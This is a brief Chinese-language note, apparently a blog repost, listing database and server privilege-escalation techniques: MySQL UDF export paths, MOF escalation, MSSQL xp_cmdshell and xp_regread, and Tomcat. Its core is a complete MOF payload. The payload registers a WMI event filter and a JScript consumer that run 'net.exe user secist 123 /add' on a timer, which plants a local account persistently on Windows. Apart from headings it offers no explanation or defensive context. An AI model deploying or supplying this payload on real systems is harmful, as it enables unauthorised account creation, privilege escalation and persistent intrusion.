标签:cal mpi exe text gen udf net eve mss
mysql
UDF提权
windows
UDF导出到系统目录 C:/WINDOWS/SYSTEM32/
UDF导出到安装路径 MYSQL\Lib\Plugin
linux
MOF提权
只有windows
步骤
pragma namespace(“\\.\root\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa ”Win32_LocalTime” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(”WScript.Shell”)\nWSH.run(”net.exe user secist 123 /add”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
mssql
xp_cmdshell
xp_regread
tomcat
标签:cal mpi exe text gen udf net eve mss
原文地址:https://www.cnblogs.com/drac4ry/p/12230049.html